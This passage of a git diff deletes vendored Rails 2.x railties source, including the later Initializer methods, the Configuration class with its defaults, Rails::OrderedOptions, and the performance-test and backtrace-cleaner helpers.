-    # the load_once paths.
-    def set_autoload_paths
-      ActiveSupport::Dependencies.autoload_paths = configuration.autoload_paths.uniq
-      ActiveSupport::Dependencies.autoload_once_paths = configuration.autoload_once_paths.uniq
-
-      extra = ActiveSupport::Dependencies.autoload_once_paths - ActiveSupport::Dependencies.autoload_paths
-      unless extra.empty?
-        abort <<-end_error
-          autoload_once_paths must be a subset of the autoload_paths.
-          Extra items in autoload_once_paths: #{extra * ','}
-        end_error
-      end
-
-      # Freeze the arrays so future modifications will fail rather than do nothing mysteriously
-      configuration.autoload_once_paths.freeze
-    end
-
-    # Requires all frameworks specified by the Configuration#frameworks
-    # list. By default, all frameworks (Active Record, Active Support,
-    # Action Pack, Action Mailer, and Active Resource) are loaded.
-    def require_frameworks
-      configuration.frameworks.each { |framework| require(framework.to_s) }
-    rescue LoadError => e
-      # Re-raise as RuntimeError because Mongrel would swallow LoadError.
-      raise e.to_s
-    end
-
-    # Preload all frameworks specified by the Configuration#frameworks.
-    # Used by Passenger to ensure everything's loaded before forking and
-    # to avoid autoload race conditions in JRuby.
-    def preload_frameworks
-      if configuration.preload_frameworks
-        configuration.frameworks.each do |framework|
-          # String#classify and #constantize aren't available yet.
-          toplevel = Object.const_get(framework.to_s.gsub(/(?:^|_)(.)/) { $1.upcase })
-          toplevel.load_all! if toplevel.respond_to?(:load_all!)
-        end
-      end
-    end
-
-    # Add the load paths used by support functions such as the info controller
-    def add_support_load_paths
-    end
-
-    # Adds all load paths from plugins to the global set of load paths, so that
-    # code from plugins can be required (explicitly or automatically via ActiveSupport::Dependencies).
-    def add_plugin_load_paths
-      plugin_loader.add_plugin_load_paths
-    end
-
-    def add_gem_load_paths
-      Rails::GemDependency.add_frozen_gem_path
-      unless @configuration.gems.empty?
-        require "rubygems"
-        @configuration.gems.each { |gem| gem.add_load_paths }
-      end
-    end
-
-    def load_gems
-      unless $gems_rake_task
-        @configuration.gems.each { |gem| gem.load }
-      end
-    end
-
-    def check_for_unbuilt_gems
-      unbuilt_gems = @configuration.gems.select(&:frozen?).reject(&:built?)
-      if unbuilt_gems.size > 0
-        # don't print if the gems:build rake tasks are being run
-        unless $gems_build_rake_task
-          abort <<-end_error
-The following gems have native components that need to be built
-  #{unbuilt_gems.map { |gem| "#{gem.name}  #{gem.requirement}" } * "\n  "}
-
-You're running:
-  ruby #{Gem.ruby_version} at #{Gem.ruby}
-  rubygems #{Gem::RubyGemsVersion} at #{Gem.path * ', '}
-
-Run `rake gems:build` to build the unbuilt gems.
-          end_error
-        end
-      end
-    end
-
-    def check_gem_dependencies
-      unloaded_gems = @configuration.gems.reject { |g| g.loaded? }
-      if unloaded_gems.size > 0
-        @gems_dependencies_loaded = false
-        # don't print if the gems rake tasks are being run
-        unless $gems_rake_task
-          abort <<-end_error
-Missing these required gems:
-  #{unloaded_gems.map { |gem| "#{gem.name}  #{gem.requirement}" } * "\n  "}
-
-You're running:
-  ruby #{Gem.ruby_version} at #{Gem.ruby}
-  rubygems #{Gem::RubyGemsVersion} at #{Gem.path * ', '}
-
-Run `rake gems:install` to install the missing gems.
-          end_error
-        end
-      else
-        @gems_dependencies_loaded = true
-      end
-    end
-
-    # Loads all plugins in <tt>config.plugin_paths</tt>.  <tt>plugin_paths</tt>
-    # defaults to <tt>vendor/plugins</tt> but may also be set to a list of
-    # paths, such as
-    #   config.plugin_paths = ["#{RAILS_ROOT}/lib/plugins", "#{RAILS_ROOT}/vendor/plugins"]
-    #
-    # In the default implementation, as each plugin discovered in <tt>plugin_paths</tt> is initialized:
-    # * its +lib+ directory, if present, is added to the load path (immediately after the applications lib directory)
-    # * <tt>init.rb</tt> is evaluated, if present
-    #
-    # After all plugins are loaded, duplicates are removed from the load path.
-    # If an array of plugin names is specified in config.plugins, only those plugins will be loaded
-    # and they plugins will be loaded in that order. Otherwise, plugins are loaded in alphabetical
-    # order.
-    #
-    # if config.plugins ends contains :all then the named plugins will be loaded in the given order and all other
-    # plugins will be loaded in alphabetical order
-    def load_plugins
-      plugin_loader.load_plugins
-    end
-
-    def plugin_loader
-      @plugin_loader ||= configuration.plugin_loader.new(self)
-    end
-
-    # Loads the environment specified by Configuration#environment_path, which
-    # is typically one of development, test, or production.
-    def load_environment
-      silence_warnings do
-        return if @environment_loaded
-        @environment_loaded = true
-
-        config = configuration
-        constants = self.class.constants
-
-        eval(IO.read(configuration.environment_path), binding, configuration.environment_path)
-
-        (self.class.constants - constants).each do |const|
-          Object.const_set(const, self.class.const_get(const))
-        end
-      end
-    end
-
-    def load_observers
-      if gems_dependencies_loaded && configuration.frameworks.include?(:active_record)
-        ActiveRecord::Base.instantiate_observers
-      end
-    end
-
-    def load_view_paths
-      if configuration.frameworks.include?(:action_view)
-        ActionController::Base.view_paths.load! if configuration.frameworks.include?(:action_controller)
-        ActionMailer::Base.view_paths.load! if configuration.frameworks.include?(:action_mailer)
-      end
-    end
-
-    # Eager load application classes
-    def load_application_classes
-      return if $rails_rake_task && configuration.dependency_loading
-      if configuration.cache_classes
-        configuration.eager_load_paths.each do |load_path|
-          matcher = /\A#{Regexp.escape(load_path)}(.*)\.rb\Z/
-          Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
-            require_dependency file.sub(matcher, '\1')
-          end
-        end
-      end
-    end
-
-    # For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the
-    # multibyte safe operations. Plugin authors supporting other encodings
-    # should override this behaviour and set the relevant +default_charset+
-    # on ActionController::Base.
-    #
-    # For Ruby 1.9, this does nothing. Specify the default encoding in the Ruby
-    # shebang line if you don't want UTF-8.
-    def initialize_encoding
-      $KCODE='u' if RUBY_VERSION < '1.9'
-    end
-
-    # This initialization routine does nothing unless <tt>:active_record</tt>
-    # is one of the frameworks to load (Configuration#frameworks). If it is,
-    # this sets the database configuration from Configuration#database_configuration
-    # and then establishes the connection.
-    def initialize_database
-      if configuration.frameworks.include?(:active_record)
-        ActiveRecord::Base.configurations = configuration.database_configuration
-        ActiveRecord::Base.establish_connection
-      end
-    end
-
-    def initialize_database_middleware
-      if configuration.frameworks.include?(:active_record)
-        if configuration.frameworks.include?(:action_controller) &&
-            ActionController::Base.session_store.name == 'ActiveRecord::SessionStore'
-          configuration.middleware.insert_before :"ActiveRecord::SessionStore", ActiveRecord::ConnectionAdapters::ConnectionManagement
-          configuration.middleware.insert_before :"ActiveRecord::SessionStore", ActiveRecord::QueryCache
-        else
-          configuration.middleware.use ActiveRecord::ConnectionAdapters::ConnectionManagement
-          configuration.middleware.use ActiveRecord::QueryCache
-        end
-      end
-    end
-
-    def initialize_cache
-      unless defined?(RAILS_CACHE)
-        silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(configuration.cache_store) }
-
-        if RAILS_CACHE.respond_to?(:middleware)
-          # Insert middleware to setup and teardown local cache for each request
-          configuration.middleware.insert_after(:"ActionController::Failsafe", RAILS_CACHE.middleware)
-        end
-      end
-    end
-
-    def initialize_framework_caches
-      if configuration.frameworks.include?(:action_controller)
-        ActionController::Base.cache_store ||= RAILS_CACHE
-      end
-    end
-
-    # If the RAILS_DEFAULT_LOGGER constant is already set, this initialization
-    # routine does nothing. If the constant is not set, and Configuration#logger
-    # is not +nil+, this also does nothing. Otherwise, a new logger instance
-    # is created at Configuration#log_path, with a default log level of
-    # Configuration#log_level.
-    #
-    # If the log could not be created, the log will be set to output to
-    # +STDERR+, with a log level of +WARN+.
-    def initialize_logger
-      # if the environment has explicitly defined a logger, use it
-      return if Rails.logger
-
-      unless logger = configuration.logger
-        begin
-          logger = ActiveSupport::BufferedLogger.new(configuration.log_path)
-          logger.level = ActiveSupport::BufferedLogger.const_get(configuration.log_level.to_s.upcase)
-          if configuration.environment == "production"
-            logger.auto_flushing = false
-          end
-        rescue StandardError => e
-          logger = ActiveSupport::BufferedLogger.new(STDERR)
-          logger.level = ActiveSupport::BufferedLogger::WARN
-          logger.warn(
-            "Rails Error: Unable to access log file. Please ensure that #{configuration.log_path} exists and is chmod 0666. " +
-            "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
-          )
-        end
-      end
-
-      silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
-    end
-
-    # Sets the logger for Active Record, Action Controller, and Action Mailer
-    # (but only for those frameworks that are to be loaded). If the framework's
-    # logger is already set, it is not changed, otherwise it is set to use
-    # RAILS_DEFAULT_LOGGER.
-    def initialize_framework_logging
-      for framework in ([ :active_record, :action_controller, :action_mailer ] & configuration.frameworks)
-        framework.to_s.camelize.constantize.const_get("Base").logger ||= Rails.logger
-      end
-
-      ActiveSupport::Dependencies.logger ||= Rails.logger
-      Rails.cache.logger ||= Rails.logger
-    end
-
-    # Sets +ActionController::Base#view_paths+ and +ActionMailer::Base#template_root+
-    # (but only for those frameworks that are to be loaded). If the framework's
-    # paths have already been set, it is not changed, otherwise it is
-    # set to use Configuration#view_path.
-    def initialize_framework_views
-      if configuration.frameworks.include?(:action_view)
-        view_path = ActionView::PathSet.type_cast(configuration.view_path)
-        ActionMailer::Base.template_root  = view_path if configuration.frameworks.include?(:action_mailer) && ActionMailer::Base.view_paths.blank?
-        ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.blank?
-      end
-    end
-
-    # If Action Controller is not one of the loaded frameworks (Configuration#frameworks)
-    # this does nothing. Otherwise, it loads the routing definitions and sets up
-    # loading module used to lazily load controllers (Configuration#controller_paths).
-    def initialize_routing
-      return unless configuration.frameworks.include?(:action_controller)
-
-      ActionController::Routing.controller_paths += configuration.controller_paths
-      ActionController::Routing::Routes.add_configuration_file(configuration.routes_configuration_file)
-      ActionController::Routing::Routes.reload!
-    end
-
-    # Sets the dependency loading mechanism based on the value of
-    # Configuration#cache_classes.
-    def initialize_dependency_mechanism
-      ActiveSupport::Dependencies.mechanism = configuration.cache_classes ? :require : :load
-    end
-
-    # Loads support for "whiny nil" (noisy warnings when methods are invoked
-    # on +nil+ values) if Configuration#whiny_nils is true.
-    def initialize_whiny_nils
-      require('active_support/whiny_nil') if configuration.whiny_nils
-    end
-
-    # Sets the default value for Time.zone, and turns on ActiveRecord::Base#time_zone_aware_attributes.
-    # If assigned value cannot be matched to a TimeZone, an exception will be raised.
-    def initialize_time_zone
-      if configuration.time_zone
-        zone_default = Time.__send__(:get_zone, configuration.time_zone)
-
-        unless zone_default
-          raise \
-            'Value assigned to config.time_zone not recognized.' +
-            'Run "rake -D time" for a list of tasks for finding appropriate time zone names.'
-        end
-
-        Time.zone_default = zone_default
-
-        if configuration.frameworks.include?(:active_record)
-          ActiveRecord::Base.time_zone_aware_attributes = true
-          ActiveRecord::Base.default_timezone = :utc
-        end
-      end
-    end
-
-    # Set the i18n configuration from config.i18n but special-case for the load_path which should be
-    # appended to what's already set instead of overwritten.
-    def initialize_i18n
-      configuration.i18n.each do |setting, value|
-        if setting == :load_path
-          I18n.load_path += value
-        else
-          I18n.send("#{setting}=", value)
-        end
-      end
-    end
-
-    def initialize_metal
-      Rails::Rack::Metal.requested_metals = configuration.metals
-      Rails::Rack::Metal.metal_paths += plugin_loader.engine_metal_paths
-
-      configuration.middleware.insert_before(
-        :"ActionController::ParamsParser",
-        Rails::Rack::Metal, :if => Rails::Rack::Metal.metals.any?)
-    end
-
-    # Initializes framework-specific settings for each of the loaded frameworks
-    # (Configuration#frameworks). The available settings map to the accessors
-    # on each of the corresponding Base classes.
-    def initialize_framework_settings
-      configuration.frameworks.each do |framework|
-        base_class = framework.to_s.camelize.constantize.const_get("Base")
-
-        configuration.send(framework).each do |setting, value|
-          base_class.send("#{setting}=", value)
-        end
-      end
-      configuration.active_support.each do |setting, value|
-        ActiveSupport.send("#{setting}=", value)
-      end
-    end
-
-    # Fires the user-supplied after_initialize block (Configuration#after_initialize)
-    def after_initialize
-      if gems_dependencies_loaded
-        configuration.after_initialize_blocks.each do |block|
-          block.call
-        end
-      end
-    end
-
-    def load_application_initializers
-      if gems_dependencies_loaded
-        Dir["#{configuration.root_path}/config/initializers/**/*.rb"].sort.each do |initializer|
-          load(initializer)
-        end
-      end
-    end
-
-    def prepare_dispatcher
-      return unless configuration.frameworks.include?(:action_controller)
-      require 'dispatcher' unless defined?(::Dispatcher)
-      Dispatcher.define_dispatcher_callbacks(configuration.cache_classes)
-      Dispatcher.run_prepare_callbacks
-    end
-
-    def disable_dependency_loading
-      if configuration.cache_classes && !configuration.dependency_loading
-        ActiveSupport::Dependencies.unhook!
-      end
-    end
-  end
-
-  # The Configuration class holds all the parameters for the Initializer and
-  # ships with defaults that suites most Rails applications. But it's possible
-  # to overwrite everything. Usually, you'll create an Configuration file
-  # implicitly through the block running on the Initializer, but it's also
-  # possible to create the Configuration instance in advance and pass it in
-  # like this:
-  #
-  #   config = Rails::Configuration.new
-  #   Rails::Initializer.run(:process, config)
-  class Configuration
-    # The application's base directory.
-    attr_reader :root_path
-
-    # A stub for setting options on ActionController::Base.
-    attr_accessor :action_controller
-
-    # A stub for setting options on ActionMailer::Base.
-    attr_accessor :action_mailer
-
-    # A stub for setting options on ActionView::Base.
-    attr_accessor :action_view
-
-    # A stub for setting options on ActiveRecord::Base.
-    attr_accessor :active_record
-
-    # A stub for setting options on ActiveResource::Base.
-    attr_accessor :active_resource
-
-    # A stub for setting options on ActiveSupport.
-    attr_accessor :active_support
-
-    # Whether to preload all frameworks at startup.
-    attr_accessor :preload_frameworks
-
-    # Whether or not classes should be cached (set to false if you want
-    # application classes to be reloaded on each request)
-    attr_accessor :cache_classes
-
-    # The list of paths that should be searched for controllers. (Defaults
-    # to <tt>app/controllers</tt>.)
-    attr_accessor :controller_paths
-
-    # The path to the database configuration file to use. (Defaults to
-    # <tt>config/database.yml</tt>.)
-    attr_accessor :database_configuration_file
-
-    # The path to the routes configuration file to use. (Defaults to
-    # <tt>config/routes.rb</tt>.)
-    attr_accessor :routes_configuration_file
-
-    # The list of rails framework components that should be loaded. (Defaults
-    # to <tt>:active_record</tt>, <tt>:action_controller</tt>,
-    # <tt>:action_view</tt>, <tt>:action_mailer</tt>, and
-    # <tt>:active_resource</tt>).
-    attr_accessor :frameworks
-
-    # An array of additional paths to prepend to the load path. By default,
-    # all +app+, +lib+, +vendor+ and mock paths are included in this list.
-    attr_accessor :autoload_paths
-
-    # Deprecated, use autoload_paths.
-    def load_paths
-      $stderr.puts("config.load_paths is deprecated and removed in Rails 3, please use autoload_paths instead")
-      autoload_paths
-    end
-
-    # Deprecated, use autoload_paths=.
-    def load_paths=(paths)
-      $stderr.puts("config.load_paths= is deprecated and removed in Rails 3, please use autoload_paths= instead")
-      self.autoload_paths = paths
-    end
-
-    # An array of paths from which Rails will automatically load from only once.
-    # All elements of this array must also be in +autoload_paths+.
-    attr_accessor :autoload_once_paths
-
-    # Deprecated, use autoload_once_paths.
-    def load_once_paths
-      $stderr.puts("config.load_once_paths is deprecated and removed in Rails 3, please use autoload_once_paths instead")
-      autoload_once_paths
-    end
-
-    # Deprecated, use autoload_once_paths=.
-    def load_once_paths=(paths)
-      $stderr.puts("config.load_once_paths= is deprecated and removed in Rails 3, please use autoload_once_paths= instead")
-      self.autoload_once_paths = paths
-    end
-
-    # An array of paths from which Rails will eager load on boot if cache
-    # classes is enabled. All elements of this array must also be in
-    # +autoload_paths+.
-    attr_accessor :eager_load_paths
-
-    # The log level to use for the default Rails logger. In production mode,
-    # this defaults to <tt>:info</tt>. In development mode, it defaults to
-    # <tt>:debug</tt>.
-    attr_accessor :log_level
-
-    # The path to the log file to use. Defaults to log/#{environment}.log
-    # (e.g. log/development.log or log/production.log).
-    attr_accessor :log_path
-
-    # The specific logger to use. By default, a logger will be created and
-    # initialized using #log_path and #log_level, but a programmer may
-    # specifically set the logger to use via this accessor and it will be
-    # used directly.
-    attr_accessor :logger
-
-    # The specific cache store to use. By default, the ActiveSupport::Cache::Store will be used.
-    attr_accessor :cache_store
-
-    # The root of the application's views. (Defaults to <tt>app/views</tt>.)
-    attr_accessor :view_path
-
-    # Set to +true+ if you want to be warned (noisily) when you try to invoke
-    # any method of +nil+. Set to +false+ for the standard Ruby behavior.
-    attr_accessor :whiny_nils
-
-    # The list of plugins to load. If this is set to <tt>nil</tt>, all plugins will
-    # be loaded. If this is set to <tt>[]</tt>, no plugins will be loaded. Otherwise,
-    # plugins will be loaded in the order specified.
-    attr_reader :plugins
-    def plugins=(plugins)
-      @plugins = plugins.nil? ? nil : plugins.map { |p| p.to_sym }
-    end
-
-    # The list of metals to load. If this is set to <tt>nil</tt>, all metals will
-    # be loaded in alphabetical order. If this is set to <tt>[]</tt>, no metals will
-    # be loaded. Otherwise metals will be loaded in the order specified
-    attr_accessor :metals
-
-    # The path to the root of the plugins directory. By default, it is in
-    # <tt>vendor/plugins</tt>.
-    attr_accessor :plugin_paths
-
-    # The classes that handle finding the desired plugins that you'd like to load for
-    # your application. By default it is the Rails::Plugin::FileSystemLocator which finds
-    # plugins to load in <tt>vendor/plugins</tt>. You can hook into gem location by subclassing
-    # Rails::Plugin::Locator and adding it onto the list of <tt>plugin_locators</tt>.
-    attr_accessor :plugin_locators
-
-    # The class that handles loading each plugin. Defaults to Rails::Plugin::Loader, but
-    # a sub class would have access to fine grained modification of the loading behavior. See
-    # the implementation of Rails::Plugin::Loader for more details.
-    attr_accessor :plugin_loader
-
-    # Enables or disables plugin reloading.  You can get around this setting per plugin.
-    # If <tt>reload_plugins?</tt> is false, add this to your plugin's <tt>init.rb</tt>
-    # to make it reloadable:
-    #
-    #   ActiveSupport::Dependencies.autoload_once_paths.delete lib_path
-    #
-    # If <tt>reload_plugins?</tt> is true, add this to your plugin's <tt>init.rb</tt>
-    # to only load it once:
-    #
-    #   ActiveSupport::Dependencies.autoload_once_paths << lib_path
-    #
-    attr_accessor :reload_plugins
-
-    # Returns true if plugin reloading is enabled.
-    def reload_plugins?
-      !!@reload_plugins
-    end
-
-    # Enables or disables dependency loading during the request cycle. Setting
-    # <tt>dependency_loading</tt> to true will allow new classes to be loaded
-    # during a request. Setting it to false will disable this behavior.
-    #
-    # Those who want to run in a threaded environment should disable this
-    # option and eager load or require all there classes on initialization.
-    #
-    # If <tt>cache_classes</tt> is disabled, dependency loaded will always be
-    # on.
-    attr_accessor :dependency_loading
-
-    # An array of gems that this rails application depends on.  Rails will automatically load
-    # these gems during installation, and allow you to install any missing gems with:
-    #
-    #   rake gems:install
-    #
-    # You can add gems with the #gem method.
-    attr_accessor :gems
-
-    # Adds a single Gem dependency to the rails application. By default, it will require
-    # the library with the same name as the gem. Use :lib to specify a different name.
-    #
-    #   # gem 'aws-s3', '>= 0.4.0'
-    #   # require 'aws/s3'
-    #   config.gem 'aws-s3', :lib => 'aws/s3', :version => '>= 0.4.0', \
-    #     :source => "http://code.whytheluckystiff.net"
-    #
-    # To require a library be installed, but not attempt to load it, pass :lib => false
-    #
-    #   config.gem 'qrp', :version => '0.4.1', :lib => false
-    def gem(name, options = {})
-      @gems << Rails::GemDependency.new(name, options)
-    end
-
-    # Deprecated options:
-    def breakpoint_server(_ = nil)
-      $stderr.puts %(
-      *******************************************************************
-      * config.breakpoint_server has been deprecated and has no effect. *
-      *******************************************************************
-      )
-    end
-    alias_method :breakpoint_server=, :breakpoint_server
-
-    # Sets the default +time_zone+.  Setting this will enable +time_zone+
-    # awareness for Active Record models and set the Active Record default
-    # timezone to <tt>:utc</tt>.
-    attr_accessor :time_zone
-
-    # Accessor for i18n settings.
-    attr_accessor :i18n
-
-    # Create a new Configuration instance, initialized with the default
-    # values.
-    def initialize
-      set_root_path!
-
-      self.frameworks                   = default_frameworks
-      self.autoload_paths               = default_autoload_paths
-      self.autoload_once_paths          = default_autoload_once_paths
-      self.eager_load_paths             = default_eager_load_paths
-      self.log_path                     = default_log_path
-      self.log_level                    = default_log_level
-      self.view_path                    = default_view_path
-      self.controller_paths             = default_controller_paths
-      self.preload_frameworks           = default_preload_frameworks
-      self.cache_classes                = default_cache_classes
-      self.dependency_loading           = default_dependency_loading
-      self.whiny_nils                   = default_whiny_nils
-      self.plugins                      = default_plugins
-      self.plugin_paths                 = default_plugin_paths
-      self.plugin_locators              = default_plugin_locators
-      self.plugin_loader                = default_plugin_loader
-      self.database_configuration_file  = default_database_configuration_file
-      self.routes_configuration_file    = default_routes_configuration_file
-      self.gems                         = default_gems
-      self.i18n                         = default_i18n
-
-      for framework in default_frameworks
-        self.send("#{framework}=", Rails::OrderedOptions.new)
-      end
-      self.active_support = Rails::OrderedOptions.new
-    end
-
-    # Set the root_path to RAILS_ROOT and canonicalize it.
-    def set_root_path!
-      raise 'RAILS_ROOT is not set' unless defined?(::RAILS_ROOT)
-      raise 'RAILS_ROOT is not a directory' unless File.directory?(::RAILS_ROOT)
-
-      @root_path =
-        # Pathname is incompatible with Windows, but Windows doesn't have
-        # real symlinks so File.expand_path is safe.
-        if RUBY_PLATFORM =~ /(:?mswin|mingw)/
-          File.expand_path(::RAILS_ROOT)
-
-        # Otherwise use Pathname#realpath which respects symlinks.
-        else
-          Pathname.new(::RAILS_ROOT).realpath.to_s
-        end
-
-      Object.const_set(:RELATIVE_RAILS_ROOT, ::RAILS_ROOT.dup) unless defined?(::RELATIVE_RAILS_ROOT)
-      ::RAILS_ROOT.replace @root_path
-    end
-
-    # Enable threaded mode. Allows concurrent requests to controller actions and
-    # multiple database connections. Also disables automatic dependency loading
-    # after boot, and disables reloading code on every request, as these are
-    # fundamentally incompatible with thread safety.
-    def threadsafe!
-      self.preload_frameworks = true
-      self.cache_classes = true
-      self.dependency_loading = false
-      self.action_controller.allow_concurrency = true
-      self
-    end
-
-    # Loads and returns the contents of the #database_configuration_file. The
-    # contents of the file are processed via ERB before being sent through
-    # YAML::load.
-    def database_configuration
-      require 'erb'
-      YAML::load(ERB.new(IO.read(database_configuration_file)).result)
-    end
-
-    # The path to the current environment's file (<tt>development.rb</tt>, etc.). By
-    # default the file is at <tt>config/environments/#{environment}.rb</tt>.
-    def environment_path
-      "#{root_path}/config/environments/#{environment}.rb"
-    end
-
-    # Return the currently selected environment. By default, it returns the
-    # value of the RAILS_ENV constant.
-    def environment
-      ::RAILS_ENV
-    end
-
-    # Adds a block which will be executed after rails has been fully initialized.
-    # Useful for per-environment configuration which depends on the framework being
-    # fully initialized.
-    def after_initialize(&after_initialize_block)
-      after_initialize_blocks << after_initialize_block if after_initialize_block
-    end
-
-    # Returns the blocks added with Configuration#after_initialize
-    def after_initialize_blocks
-      @after_initialize_blocks ||= []
-    end
-
-    # Add a preparation callback that will run before every request in development
-    # mode, or before the first request in production.
-    #
-    # See Dispatcher#to_prepare.
-    def to_prepare(&callback)
-      after_initialize do
-        require 'dispatcher' unless defined?(::Dispatcher)
-        Dispatcher.to_prepare(&callback)
-      end
-    end
-
-    def middleware
-      require 'action_controller'
-      ActionController::Dispatcher.middleware
-    end
-
-    def builtin_directories
-      # Include builtins only in the development environment.
-      (environment == 'development') ? Dir["#{RAILTIES_PATH}/builtin/*/"] : []
-    end
-
-    def framework_paths
-      paths = %w(railties railties/lib activesupport/lib)
-      paths << 'actionpack/lib' if frameworks.include?(:action_controller) || frameworks.include?(:action_view)
-
-      [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework|
-        paths << "#{framework.to_s.gsub('_', '')}/lib" if frameworks.include?(framework)
-      end
-
-      paths.map { |dir| "#{framework_root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
-    end
-
-    private
-      def framework_root_path
-        defined?(::RAILS_FRAMEWORK_ROOT) ? ::RAILS_FRAMEWORK_ROOT : "#{root_path}/vendor/rails"
-      end
-
-      def default_frameworks
-        [ :active_record, :action_controller, :action_view, :action_mailer, :active_resource ]
-      end
-
-      def default_autoload_paths
-        paths = []
-
-        # Add the old mock paths only if the directories exists
-        paths.concat(Dir["#{root_path}/test/mocks/#{environment}"]) if File.exists?("#{root_path}/test/mocks/#{environment}")
-
-        # Add the app's controller directory
-        paths.concat(Dir["#{root_path}/app/controllers/"])
-
-        # Followed by the standard includes.
-        paths.concat %w(
-          app
-          app/metal
-          app/models
-          app/controllers
-          app/helpers
-          app/services
-          lib
-          vendor
-        ).map { |dir| "#{root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
-
-        paths.concat builtin_directories
-      end
-
-      # Doesn't matter since plugins aren't in autoload_paths yet.
-      def default_autoload_once_paths
-        []
-      end
-
-      def default_eager_load_paths
-        %w(
-          app/metal
-          app/models
-          app/controllers
-          app/helpers
-        ).map { |dir| "#{root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
-      end
-
-      def default_log_path
-        File.join(root_path, 'log', "#{environment}.log")
-      end
-
-      def default_log_level
-        environment == 'production' ? :info : :debug
-      end
-
-      def default_database_configuration_file
-        File.join(root_path, 'config', 'database.yml')
-      end
-
-      def default_routes_configuration_file
-        File.join(root_path, 'config', 'routes.rb')
-      end
-
-      def default_view_path
-        File.join(root_path, 'app', 'views')
-      end
-
-      def default_controller_paths
-        paths = [File.join(root_path, 'app', 'controllers')]
-        paths.concat builtin_directories
-        paths
-      end
-
-      def default_dependency_loading
-        true
-      end
-
-      def default_preload_frameworks
-        false
-      end
-
-      def default_cache_classes
-        true
-      end
-
-      def default_whiny_nils
-        false
-      end
-
-      def default_plugins
-        nil
-      end
-
-      def default_plugin_paths
-        ["#{root_path}/vendor/plugins"]
-      end
-
-      def default_plugin_locators
-        locators = []
-        locators << Plugin::GemLocator if defined? Gem
-        locators << Plugin::FileSystemLocator
-      end
-
-      def default_plugin_loader
-        Plugin::Loader
-      end
-
-      def default_cache_store
-        if File.exist?("#{root_path}/tmp/cache/")
-          [ :file_store, "#{root_path}/tmp/cache/" ]
-        else
-          :memory_store
-        end
-      end
-
-      def default_gems
-        []
-      end
-
-      def default_i18n
-        i18n = Rails::OrderedOptions.new
-        i18n.load_path = []
-
-        if File.exist?(File.join(RAILS_ROOT, 'config', 'locales'))
-          i18n.load_path << Dir[File.join(RAILS_ROOT, 'config', 'locales', '*.{rb,yml}')]
-          i18n.load_path.flatten!
-        end
-
-        i18n
-      end
-  end
-end
-
-# Needs to be duplicated from Active Support since its needed before Active
-# Support is available. Here both Options and Hash are namespaced to prevent
-# conflicts with other implementations AND with the classes residing in Active Support.
-class Rails::OrderedOptions < Array #:nodoc:
-  def []=(key, value)
-    key = key.to_sym
-
-    if pair = find_pair(key)
-      pair.pop
-      pair << value
-    else
-      self << [key, value]
-    end
-  end
-
-  def [](key)
-    pair = find_pair(key.to_sym)
-    pair ? pair.last : nil
-  end
-
-  def method_missing(name, *args)
-    if name.to_s =~ /(.*)=$/
-      self[$1.to_sym] = args.first
-    else
-      self[name]
-    end
-  end
-
-  private
-    def find_pair(key)
-      self.each { |i| return i if i.first == key }
-      return false
-    end
-end
-
diff --git a/vendor/rails/railties/lib/performance_test_help.rb b/vendor/rails/railties/lib/performance_test_help.rb
deleted file mode 100644
index 5148b4ab..00000000
--- a/vendor/rails/railties/lib/performance_test_help.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'action_controller/performance_test'
-
-ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
diff --git a/vendor/rails/railties/lib/rails/backtrace_cleaner.rb b/vendor/rails/railties/lib/rails/backtrace_cleaner.rb
deleted file mode 100644
index 923ed8b3..00000000
--- a/vendor/rails/railties/lib/rails/backtrace_cleaner.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-module Rails
-  class BacktraceCleaner < ActiveSupport::BacktraceCleaner
-    ERB_METHOD_SIG = /:in `_run_erb_.*/
-
-    RAILS_GEMS   = %w( actionpack activerecord actionmailer activesupport activeresource rails )
-
-    VENDOR_DIRS  = %w( vendor/rails )
-    SERVER_DIRS  = %w( lib/mongrel bin/mongrel
-                       lib/passenger bin/passenger-spawn-server
-                       lib/rack )
-    RAILS_NOISE  = %w( script/server )
-    RUBY_NOISE   = %w( rubygems/custom_require benchmark.rb )
-
-    ALL_NOISE    = VENDOR_DIRS + SERVER_DIRS + RAILS_NOISE + RUBY_NOISE
-
-    def initialize
-      super
-      add_filter   { |line| line.sub("#{RAILS_ROOT}/", '') }
-      add_filter   { |line| line.sub(ERB_METHOD_SIG, '') }
-      add_filter   { |line| line.sub('./', '/') } # for tests
-
-      add_gem_filters
-
-      add_silencer { |line| ALL_NOISE.any? { |dir| line.include?(dir) } }
-      add_silencer { |line| RAILS_GEMS.any? { |gem| line =~ /^#{gem} / } }
-      add_silencer { |line| line =~ %r(vendor/plugins/[^\/]+/lib) }
-    end
-    
-    
-    private
-      def add_gem_filters
-        Gem.path.each do |path|
-          # http://gist.github.com/30430
-          add_filter { |line| line.sub(/(#{path})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')}
-        end
-
-        vendor_gems_path = Rails::GemDependency.unpacked_path.sub("#{RAILS_ROOT}/",'')
-        add_filter { |line| line.sub(/(#{vendor_gems_path})\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) [v] \4')}
-      end
-  end
-
-  # For installing the BacktraceCleaner in the test/unit
-  module BacktraceFilterForTestUnit #:nodoc:
-    def self.included(klass)
-      klass.send :alias_method_chain, :filter_backtrace, :cleaning
-    end
-
-    def filter_backtrace_with_cleaning(backtrace, prefix=nil)
-      backtrace = filter_backtrace_without_cleaning(backtrace, prefix)
-      backtrace = backtrace.first.split("\n") if backtrace.size == 1
-      Rails.backtrace_cleaner.clean(backtrace)
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/gem_builder.rb b/vendor/rails/railties/lib/rails/gem_builder.rb
deleted file mode 100644
index 79c61cc0..00000000
--- a/vendor/rails/railties/lib/rails/gem_builder.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'rubygems'
